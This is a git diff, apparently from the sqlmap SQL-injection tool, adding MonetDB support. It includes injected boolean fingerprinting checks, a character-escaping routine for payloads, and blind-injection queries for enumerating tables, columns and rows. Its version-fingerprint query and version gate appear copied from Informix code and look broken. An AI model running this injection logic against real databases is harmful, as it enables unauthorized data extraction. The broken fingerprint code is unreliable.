|
11
plugins/dbms/monetdb/filesystem.py
Normal file
11
plugins/dbms/monetdb/filesystem.py
Normal file
|
@ -0,0 +1,11 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
pass
|
107
plugins/dbms/monetdb/fingerprint.py
Normal file
107
plugins/dbms/monetdb/fingerprint.py
Normal file
|
@ -0,0 +1,107 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MONETDB_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.MONETDB)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.MONETDB
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES):
|
||||
setDbms(DBMS.MONETDB)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.MONETDB
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("isaurl(NULL)=false")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.MONETDB
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("CODE(0) IS NOT NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.MONETDB)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
infoMsg = "actively fingerprinting %s" % DBMS.MONETDB
|
||||
logger.info(infoMsg)
|
||||
|
||||
for version in ("14.1", "12.1", "11.7", "11.5", "10.0"):
|
||||
output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)
|
||||
|
||||
if output:
|
||||
Backend.setVersion(version)
|
||||
break
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
40
plugins/dbms/monetdb/syntax.py
Normal file
40
plugins/dbms/monetdb/syntax.py
Normal file
|
@ -0,0 +1,40 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import isDBMSVersionAtLeast
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getOrds
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> from lib.core.common import Backend
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "||".join("CODE(%d)" % _ for _ in getOrds(value))
|
||||
|
||||
retVal = expression
|
||||
|
||||
if isDBMSVersionAtLeast("11.70"):
|
||||
excluded = {}
|
||||
for _ in re.findall(r"DBINFO\([^)]+\)", expression):
|
||||
excluded[_] = randomStr()
|
||||
expression = expression.replace(_, excluded[_])
|
||||
|
||||
retVal = Syntax._escape(expression, quote, escaper)
|
||||
|
||||
for _ in excluded.items():
|
||||
retVal = retVal.replace(_[1], _[0])
|
||||
|
||||
return retVal
|
15
plugins/dbms/monetdb/takeover.py
Normal file
15
plugins/dbms/monetdb/takeover.py
Normal file
|
@ -0,0 +1,15 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def __init__(self):
|
||||
self.__basedir = None
|
||||
self.__datadir = None
|
||||
|
||||
GenericTakeover.__init__(self)
|
|
@ -26,6 +26,7 @@ from lib.core.common import pushValue
|
|||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import safeSQLIdentificatorNaming
|
||||
from lib.core.common import safeStringFormat
|
||||
from lib.core.common import singleTimeLogMessage
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
|
@ -580,7 +581,7 @@ class Databases(object):
|
|||
condQueryStr = "%%s%s" % colCondParam
|
||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
|
||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
|
||||
|
@ -722,7 +723,7 @@ class Databases(object):
|
|||
condQueryStr = "%%s%s" % colCondParam
|
||||
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
|
||||
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
|
||||
|
@ -797,6 +798,9 @@ class Databases(object):
|
|||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
|
||||
field = None
|
||||
elif Backend.isDbms(DBMS.MONETDB):
|
||||
query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index))
|
||||
field = None
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
|
||||
query += condQuery
|
||||
|
@ -846,6 +850,8 @@ class Databases(object):
|
|||
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column)
|
||||
elif Backend.isDbms(DBMS.MONETDB):
|
||||
query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
|
||||
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType
|
||||
|
|
|
@ -415,6 +415,8 @@ class Entries(object):
|
|||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
|
||||
elif Backend.isDbms(DBMS.MONETDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
||||
|
||||
query = agent.whereQuery(query)
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user